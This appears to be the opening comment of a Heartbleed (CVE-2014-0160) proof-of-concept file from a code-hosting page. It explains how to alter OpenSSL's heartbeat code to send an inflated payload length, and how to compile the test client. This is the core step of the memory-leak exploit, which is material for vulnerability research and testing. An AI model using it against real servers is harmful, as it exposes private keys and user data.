This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Heartbleed OpenSSL vulnerbility POC | |
* CVE-2014-0160 | |
* | |
* You need to modify OpenSSL client code: ssl/t1_lib.c, function tls1_heartbeat | |
* Previous line: \/\* Payload length (18 bytes here) \*\/ | |
* Old line: s2n(payload, p); | |
* New line: s2n(65536 - 100, p); // pretend that we have so many bytes of payload... | |
* | |
* To compile: | |
* gcc -g -o testssl -Iinclude -L. -lssl ssl/*.o testssl.c |